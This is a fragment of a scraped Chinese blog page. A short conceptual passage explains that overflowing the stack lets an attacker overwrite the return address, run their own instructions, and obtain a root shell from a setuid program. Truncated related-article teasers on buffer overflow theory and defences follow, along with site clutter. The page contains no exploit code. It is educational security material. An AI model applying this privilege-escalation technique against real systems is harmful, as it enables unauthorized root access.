事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。如果我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我们的指令。
在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆栈溢出的程序相同的权限。如果这个程序是setuid的,那么我们就可以获得root shell。
本文已收录于以下专栏:
相关文章推荐
上一篇讲解了栈栈溢出攻击的基础原理,该篇作为基础原理的一个延展,通过调试分析一个简单的栈溢出漏洞,加深对栈溢出原理的理解。漏洞代码#include
#include void c...
本文的实验来源于《Computer Systems A Programmer's Perspective》(深入理解计算机系统》一书中第三章的一个实验。
作者给出了一个含有缓冲区溢出的程序...
一.系统栈溢出原理函数栈帧及寄存器在高级语言中,当函数被调用时,系统栈会为这个函数开辟一个新的栈帧,并把它压入栈中。这个栈帧中的内存空间被它所属的函数独占,正常情况下是不会和别的函数共享的。当函数返回...
在前面的系列中,已经提到了方法调用关系中栈空间是如何布局的,而造成栈溢出的主要原因是有些函数没有越界检查,最后导致了栈的溢出,也就是栈的空间被人为的重新布局。大家重新在看这张栈的图
方法A调用方法...
转载请注明出处:http://blog.csdn.net/wangxiaolong_china
Linux栈溢出保护机制
基本的栈溢出攻击,是最早产生的一种缓冲区溢出攻击方法,...
1. 什么是栈溢出攻击
向缓冲器填入过多的数据,超出边界,导致数据外溢。 同时利用缓冲器溢出改写数据、改变程序执行流程。 执行shellcode。
文/H3C攻防研究团队
现阶段的安全漏洞种类很多,包括大家熟悉的SQL注入漏洞、缓存溢出漏洞、XSS跨站脚本漏洞等。而栈溢出漏洞作为缓冲区溢出漏洞的一种特定的表现形式,在现实网络环境中比较普遍。本文...
本文从C/C++语言的函数帧结构出发,分析缓冲溢出攻击如果修改eip进而控制执执行shellcode。...
一、什么是缓冲区溢出?
缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,使得溢出的数据覆盖在合法数据上,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆...
本文转载自CVE-漏洞分析
Microsoft Office 是微软发布的非常流行的办公软件套件。基于Mac平台的Microsoft Office XP SP3,Office 20...
他的最新文章
讲师:何宇健
讲师:董岩
您举报文章:
举报原因:
原文地址:
原因补充:
(最多只允许输入30个字)

我要回帖

更多关于 gcc 性能优化参数 的文章

 

随机推荐